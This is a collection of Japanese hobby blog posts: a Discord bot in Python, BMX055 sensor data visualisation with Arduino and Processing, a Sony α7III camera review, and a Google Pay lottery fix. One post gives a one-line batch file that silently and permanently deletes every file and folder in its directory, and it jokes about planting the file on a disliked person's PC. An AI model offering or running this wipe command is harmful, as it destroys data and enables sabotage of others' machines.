Discordに橘ありすbotを作る

はじめに


Discordのbotで「ありす〇〇」と言うと「橘です!!」と言ってくれるありすが欲しかったため簡単に作りました。

コード


pythonで記述してます

# インストールした discord.py を読み込む
import discord
import re 
# 自分のBotのアクセストークンに置き換えてください
TOKEN = 'NjE5MDEwOTgyMTMxMjY5NjM4.○○○○........'

# 接続に必要なオブジェクトを生成
client = discord.Client()

# 起動時に動作する処理
@client.event
async def on_ready():
    # 起動したらターミナルにログイン通知が表示される
    print('ありすログインしました')

# メッセージ受信時に動作する処理
@client.event
async def on_message(message):
    # メッセージ送信者がBotだった場合は無視する
    if message.author.bot:
        return
    # 「/○○ありす○○」と発言したら「橘です!!」が返る処理
    if re.search(r'ありす',message.content) :
        await message.channel.send('橘です!!!')

# Botの起動とDiscordサーバーへの接続
client.run(TOKEN)

説明


引用先からほぼお借りしています 変更点は import re if re.search(r'ありす',message.content) を付け加えています。 message.contentで文字列を取得してre.searchで部分一致させることで条件分岐させています。 re.searchは部分一致 re.matchは先頭文字一致 *re.fullmatchは完全一致 となっているのでbotごとに使い分けるといいです

実行


f:id:tomi-tomi-pon:20190906121533p:plain

ありすカワイイイ これでchannel内にも賑やかになります。

これから時間をセットして応答させるなど幅広いbotに活用できそうです。

おわり

引用先


【初心者向け】DiscordのBotを作る上で知っておくといいこと - Qiita 【python】re.match より re.search を使おう - Qiita

クリックするとカレントディレクトリ上のデータが削除されるバッチファイルを作ってみた

今更感ですがバッチファイルを眺めるようになり勉強がてら、クリックしたらデータが勝手に削除されるバッチファイルというくだらない物を作ってみました。

自分でもよくわからないです。

 

forfiles /P %~dp0 /C "cmd /c del /F /Q @file" &forfiles /P %~dp0 /C "cmd /c rmdir /Q @file"

これをメモ帳に記入してファイル形式をbatにするだけです。

 

動作例
以下説明

forfiles を宣言後 、delでファイル削除、rmdirでフォルダを削除します。

/Fで読み取り専用データも削除、/Q確認メッセージを表示せずに削除

%~dp0でカレントディレクトリを取得しています。

 

このバッチファイルをクリックするだけでカレントディレクトリ上のデータが一瞬で消えます。こみ箱に行かないのでほんとうに危ないです。

 

使い道ですか......嫌な人のPCにでも入れておきましょう。

参考にさせていただいたサイト

http://zacodesign.net/blog/?p=2172

https://qiita.com/shin1rok/items/efb5052ef5fb8138c26d

 

BMX055の9軸データをProcessingで可視化させる

前々回 BMX055からの9軸データ出力

http://tomi-tomi-pon.hatenablog.com/entry/2018/11/07/012854

前回 グラフ作成

http://tomi-tomi-pon.hatenablog.com/entry/2019/04/08/145913

 

今回はBMX055の9軸データをProcessingで可視化していきます

 

 

使用した物

使用した物

・BMX055  (9軸センサモジュール)

Arduino (どこにでもある)

・Processing(ソフトフェア)

 

 

以下githubのgraph_UI.pdeとmadgwick.inoがそれぞれProcessingとarduinoのプログラムになります。

 https://github.com/tomi-09/gryo-acc-mag-axes-graph-processing-

 

f:id:tomi-tomi-pon:20191023144240p:plain

ポートは各々設定してください

実行結果

f:id:tomi-tomi-pon:20190408163400p:plain

作ったUI

 

youtu.be

 

前々回作ったBMX055の9軸データとオイラー角のデータの数値データを前回作ったProcessingでのグラフ化を合わせて見やすいようにUIを作りました。

 

<簡単な動作説明>

 

Processingとarduinoとは加速度、ジャイロ、磁気が来た際(1,2,3,4と置いている)に空白を消して[,]ごとにx,y,zを読み取るという通信を行っています。

その送られてきたデータをグラフ、3Dアニメーション化をしています。

・グラフ

読み取ったデータが0を基準としてグラフの縦軸を超えた場合はグラフ縦軸を臨機応変に変更させています。

・アニメーション

青いboxはyaw→roll→pitchの順で

赤いboxはroll→yaw→pitchの順で

それぞれオイラー角を回転されています。

これは2番目を90度回すとジンバルロックという正常に動作しない現象があるためこのように2通りの描写を行いました。

 

 ここでは簡潔に書かれていますが詳しくはプログラムのコメント欄に記載しています

 <注意点>

ジンバルロックを回避するためにクォータニオンを用いた制御がありますがProcessingはopenGLのため使用できません。しかし、激しい動作でなければジンバルロックが起きないため結構使えます

例外処理を行っていないため通信が切れた時に再通信を行えません。

<まとめ>

Processingはjavaで書くことができ、そこまで難しいわけではないため結構簡単に作ることができます。今回はグラフ化させましたがグラフ以外にも面白いものも作ることができると思うのでおすすめです。(オシロスコープもできますがProcessingは100fpsしか動作保証していないのでご注意を)

Processingは本来アニメーションとかを使うことが多いのですが今回はこんなデバッグツールみたいなものを作るという一例として考えてくれると幸いです。

 ※2019/10/23 Githubのコード修正

 

Processingを用いてArduinoのシリアル通信からのデータ可視化ツール(テンプレート)の作成

前回 BMX055の9軸センサからオイラー角算出

http://tomi-tomi-pon.hatenablog.com/entry/2018/11/07/012854

9軸センサの値を読み取りましたが数値では大変見にくいため今回はそのデータを可視化させるアニメーションの元として1つのリアルタイムグラフを作ります。

 

用はProarduinoのシリアルモニタ見たいな物と考えてもらって構いません。

使用するソフトウェアはProcessingです。

Processing.org

 

 以下arduino側のプログラム

 

以下Processing側のプログラム

 

ポートは各々使用しているポートに変更してください

このプログラムはarduino側で1秒ごとにインクリメントとデクリメントしたデータをProcessingで表示してるだけのプログラムです。 

とりあえずわかりやすいようにコメントアウトしました。

[簡単な補足]

arduino側は表示したいデータnama_1とname_2を

[nama_1]

[,]

[data_1]

改行

との順に送信しています。終了文字の改行をprintln("/n")としてデータ仕切り信号としようとしましたがProcessing側の

String myString = myPort.readStringUntil('\n');

で上手くデータが区切られずprintlnとしています。

 

 

 [まとめ]

arduino側で識別値とデータをカンマで区切りProcessing側で受け取ったのを2つグラフ化するという非常にシンプルなものです。Processingはデバック用のツールではありませんが、シンプルで使い方によって面白い&便利なためおすすめです。

今回は値を増加、減少させただけですが次はこれを応用して9軸センサのデータ可視化を行います。

 

次 BMX055のデータをグラフ化、3Dアニメーション化させる

http://tomi-tomi-pon.hatenablog.com/entry/2019/04/08/181841

Arduinoを用いてBMX 055 9軸センサーモジュールからのオイラー角算出(メモ)

今回はカメラの3軸シンバル(スタビライザ)を作製する(気持ちがあった)ため、その足掛けとして、roll ,pitch, yawのオイラー角をarduinoで計算させました

 

BMX055使用9軸センサーモジュール: センサ一般 秋月電子通商-電子部品・ネット通販

今回はこれを使用しました。

9軸(3軸加速度+3軸角速度+3軸磁気)の値をI2C通信を用いて、この1300円くらいのICで求めることができます。つよい

 

もし詳しい詳細が欲しい時はBMX055のデータシート一覧に書いてあります。

f:id:tomi-tomi-pon:20181107002328p:plain

図  秋月様の取り扱い説明書抜粋

 

このJPのショートとは基盤の裏にあるJP○の場所をはんだすることを指します。

 

 

私も一度間違えてしまい無事にICを焼いてしましましたので気を付けましょう....

 

 I2C通信ではプルアップ抵抗が必要ですが公式のWrieライブラリを使用するとArduino側でプルアプルアップが行われます。

今回はArduinoのプルアップ抵抗を使用するためJP6をショート(はんだ付け)を行い他のJPをオープンとしました。電源Vccを5Vとします。

 

 

[質問があったため追記]

    f:id:tomi-tomi-pon:20181107002521p:plain

 

 

                                          f:id:tomi-tomi-pon:20191023143802j:plain

               図 ショート例

JP6.をこのように2つのランドにはんだを付けショートさせます。

このようにすることによって電源をVcc 5v駆動 I2Cプルアップ、加速度ジャイロ磁気が0x19 0x69 0x13のアドレスとなります。

  f:id:tomi-tomi-pon:20190129003842p:plain

       図 IC BMx 055を用いた回路図

 

回路図を見てわかる通りJP4 JP5をショートさせることでプルアップ抵抗が適用されます。(今回は使用しません)

 

以下arduinoプログラム

#include <MadgwickAHRS.h>
#include <math.h>
//
 
ここは秋月のMBX055のサンプルプログラム参照してください

//
void setup()
{
// Wire(Arduino-I2C)
Wire.begin();
Serial.begin(115200);
//BMX055
BMX055_Init();
delay(300);
MadgwickFilter.begin(10); //周波数
}

 

void loop()
{

BMX055_Gyro();
Serial.print(GRYO);//gryo==1
Serial.print(",");
Serial.print(xGyro);
Serial.print(",");
Serial.print(yGyro);
Serial.print(",");
Serial.println(zGyro);

BMX055_Accl
();
Serial.print(ACCL);//accl ==2
Serial.print(",");
Serial.print(xAccl);
Serial.print(",");
Serial.print(yAccl);
Serial.print(",");
Serial.println(zAccl);
 
BMX055_Mag();
Serial.print(MAG);//mag==3
Serial.print(",");
Serial.print(xMag);
Serial.print(",");
Serial.print(yMag);
Serial.print(",");
Serial.println(zMag);
 
MadgwickFilter.update(xGyro,yGyro,zGyro,xAccl,yAccl,zAccl,xMag,yMag,zMag);
roll = MadgwickFilter.getRoll();
pitch = MadgwickFilter.getPitch();
yaw = MadgwickFilter.getYaw();
Serial.print(XYZ_ROTATION);//XYZ_ROTATION=4
Serial.print(",");
Serial.print(roll);
Serial.print(",");
Serial.print(pitch);
Serial.print(",");
Serial.println(yaw);
delay(50);
} 

 

↓git hubに全データ上げています

#include <MadgwickAHRS.h>

を使用しているためライブラリを落としてください。


シリアル通信は115200に設定(好きな値を)

オイラー角を求めるには相補、カルマン、などいろいろありますが、今回は最近開発されたMadgwickフィルタを使用しています。このフィルタはカルマンフィルタよりマイコンに負荷がかかりにくい事で有名なフィルタです。

 

Madgwickフィルタのサンプリング周波数を10Hzと指定しています。

初期は100Hzらしいです。しかし、応答速度が低く目標の値まで時間がかかってしまったので、下げることにより精度を下げる代わりに応答速度を上げました。

今回は3軸シンバル姿勢制御が目標だったため(一応)応答速度を重視しましたが、各自用途によってサンプリング周波数を変更してください。

 

さらに磁気センサを使用すると周りの磁気の影響を受けてしましますので、roll,pitch,yawの誤差が酷いようでしたら下のように書き換えて6軸のみの計算に切り替えてみてください。

madgwickFilter.updateIMU(xGyro,yGyro,zGryo,xAccl,yAccl,zAccl);

 

f:id:tomi-tomi-pon:20181107011343p:plain

図 実行結果

 

このように値を算出する事ができました。yawの値が時間が経過するにつれドリフトしていますが、それ以外の数値の精度はハードウェアに実装しても問題ないレベルの精度です。

 

補足として

GRYO,ACCL,MAG,XYZ_ROTATIONを数字に置き換えたのはシリアル通信でProcessingにアニメーション化するためにこのようにしました。

次 グラフ化させるため1つのテンプレートを作る

http://tomi-tomi-pon.hatenablog.com/entry/2019/04/08/145913

 

その次 BMX055のデータをグラフ化させ3Dアニメーションを付ける

http://tomi-tomi-pon.hatenablog.com/entry/2019/04/08/181841

 ※2019/10/23 一部修正

sonyのα7Ⅲのフルサイズミラーレス一眼買ってみて

 

 

 

Sony以外にも、フルサイズミラーレス一眼が新しくNikon(Z7 Z6)とCanon(EOS R)と次々に発表されました。

今までSonyのフルサイズミラーレス一眼独壇場でしたが、今はミラーレス一眼レフの性能が上がり購入者が増え、更にNikonCanonの参入により激しく争いが繰り広げられそうです。 あのα7Ⅲの価格帯、性能でフルサイズミラーレス一眼の敷居が高い中よくNikonCanonは切り開いたなと

ミラーレス一眼レフレンズなどで将来どのように変化していくか楽しみですね。

 

 

canon kiss x7を購入してから1年カメラの楽しさに気づいてしまいフルサイズを扱ってみたい欲望が高ぶってしまいました。これが沼なのでしょうね.....

経緯

フルサイズを買う上で候補に挙がっていた(7月下旬)

Canon 6Dmark2ですがカメラマニア様から、センサーが弱いと知り(海外の方が分析しています) 手のひら返しでとSony民α7Ⅲへ寝返ることに

https://amzn.to/2NXMNW5

 

カメラ好きでミラーレフ一眼を買わない(えない)の一つにレンズ資産が使えないがありますが、レンズも丁度私は買うか悩んでたのでタイミングヨシヨシ

※実はマウントアダプタもカメラと一緒にバカ売れしてるらしい

 オタクは決断が早く花火大会で使用するため速攻で行動、SDカードと合わせて24万¥くらいでした(7月下旬)

 

アキヨドにて

           私  : いや~今日だけでお財布軽くなってしまいました泣

店員さん  : その台詞今日で3人目です(ニッコリ

皆さんそう言いながら買ってしまうんですね。これは悪い文化!

 

が、花火撮影するため会場で開封芸していざと、はずが暗い&UIが違うためマニュアル操作に不慣れのため、結局kiss x7で撮る事に(?) わけがわからないよ 

 悲しみから被写体になってもらう事に、この黒テカりすこすこ

kiss x7でもまだまだ描写は負けてません(結果的にkissx7でしか撮っていない....)

 

1ヶ月使ってみて

主にミラーレス一眼α7Ⅲとミラー一眼の比較的な

便利&使える点

sony

・高感度   ・・・さすがsony売りにしているだけある。ISO16000もノイズが気にならず、夜景も手持ち可

・フォーカスエリア・・・ほとんどカバーしている。更に瞳AFが優秀すぎる

・スロット  ・・・2スロットでバックアップが取れるので安心できるが、無くてもなんとかなる

・動画       ・・・4k撮影可、動画撮影用としても使えるし、高い画質を動画から切り抜きできる

フルサイズミラーレス一眼全般

・連写     ・・凡そ10コマ/秒と比較的早い、動いている物便利

・軽い &小さい  ・・・一眼のフルサイズに比べて軽い、小さい、コンパクトな三脚がミラーレス一眼だと使えます。カメラと三脚の持ち歩きが楽になり旅行に最適

・フルサイズ  ・・・画角が広い&描写が美しい

・バッテリー  ・・・オスUSB端子が使えるためモバイルバッテリーから充電でき、充電持ちが良い

NFC    ・・・データをスマホに転送でき素早い編集ができる

不便な点

sony 

・モニタ液晶 ・・・タッチ機能が付属してピントでは使えるのに設定画面で使えない。今後の更新で期待

後、チルト液晶で縦持ちローアングルが出来ないのが難あり、Canonのバリアングル液晶が恋しい

 

・アイポイント・・・18.5mmと短いため眼鏡つけてると気になるかも、ですが慣れます

・UI     ・・・(勿論)Canonと違う。手になじむまで1ヶ月ぐらいかかってしまったウン

 f:id:tomi-tomi-pon:20180909172725p:plain f:id:tomi-tomi-pon:20180909174211p:plain

・レンズ・・・ズームする際の回す向きが真逆。こればっかりは未だに慣れない

f:id:tomi-tomi-pon:20180909173507j:plain  f:id:tomi-tomi-pon:20180909173509j:plain

 

ミラーレス一眼全般

・軽い&小さい   ・・・メリットでもあるがデメリットでもある。三脚が安定しない。望遠レンズをつけると重心が取りにくい。小さく軽すぎるため多少カメラの持ち方がおかしくなる(?)

・レンズの種類が少ない ・・・そもそもミラーレス市場が大きくはなかったため、まだ高い傾向。Nikonと Canonの参入により今後に期待

 

まとめ

と、自分なりにまとめましたが、kissx7からの移行でしたので、α7Ⅲは、AF点が多い、早い。瞳AF強い。高感度と、感動するばかりです。

しかし、カメラ初めての方におすすめできるかと言われると、性能が良すぎるばかりか、細かい設定項目、優秀なAFと機械に人間が使わされる感があります。

 

私は、初心者向けのカメラで少ない設定、性能の中、試行錯誤の撮影で得た物が、今生きてきています(多分) そのため、フルサイズミラーレス一眼は初心者用ではなく、中級者向けかなと感じました(フルサイズの一眼レフ機も同義かも)

 

 

 そしてkiss x7には大三元の白レンズがつきまして、めでたく2台カメラで望遠と標準を分業できるようになりました。望遠は付け替えが大変なため助かっています。

 

今度は是非望遠ようの一眼レフのフルサイズを購入して安定させたいところ

まあ、お金ないので大分先になりそうですぅ~ 

 

 以下α7Ⅲで撮影した写真

f:id:tomi-tomi-pon:20180930044120j:plain

f:id:tomi-tomi-pon:20180930044153j:plain

f:id:tomi-tomi-pon:20180930044019j:plain

星空の撮影はISO3200ほど

 ノイズ全く入りません

f:id:tomi-tomi-pon:20180930042814j:plain

f:id:tomi-tomi-pon:20180930044259j:plain

 

 暗所の撮影には強いのがわかる

凄いSonyのセンサー.....

google payで抽選ができない不具合についての対処

tomi-tomi-pon.hatenablog.com

続き的な何か

 

google payが初めにユーザーに定着してもらうために行っている毎週google home Mini、50円~5000円分のgoogle payがgoogle payで会計した回数に応じて抽選で当たる「ピッて当てよう」というキャンペーンがあります。

 

pay.google.com

私は不具合があり抽選することができなかったためカスタムサポートセンタに何度も電話して対処してもらいましが、初めの数十回は無駄にしてしまいました。それについて

 

1. google payの設定の項目で抽選欄が表示されていない。

2. パスを押した際にピッで当てようという欄を押すことができないor 表示されない

3.google payで友達の招待欄がない

 

の方は抽選をすることができない不具合が出るもよう。

 

原因と対処法について

google のアカウントをスマホから削除して入れ直した時も機能しなかったため、原因はgoogle payを使用するアカウントを初めにスマートフォンと紐付けた物google アカウントでgoogle payを使用しなければ抽選ができないもよう。

 

生活費などをアカウントで分けたい人は抽選をあきらめるか、google payで使用するアカウントを初めに紐付けた物を使用しましょう。

 

 

アカウントを変更する際の注意

スマホ端末1つでgoogle payのアカウントを持つことができますがsuica 楽天

Edy nanaco WAONは1つだけしか持つことができない。そのためアカを移動する際にはgoogle payからアカウントの連携を削除しなければならない。

 

suicaの変更手順について

google payで削除しようとするとモバイルsuicaで行えと命令が来る

モバイルsuicaのアカウントをスマホ端末から一時的に消すためスマホ端末のモバイルsuicaのデータをクラウドに保存して端末から一時的にデータを消す

google payでモバイルsuicanoの連携が解除できる

suicaクラウドから復元する

使用したいgoogle payのアカウントと連携する。

 

との手順を踏むことで対処できる。

まとめ

サポートセンターに聞いてみたところこのような事例の電話があるのは私が初めてのこと

アカウントを変更した後、前の抽選ができなくなってしまい抽選券を失ってしまいましたが、なんとか変更後は抽選ができるようになりましたがよしとしましょう。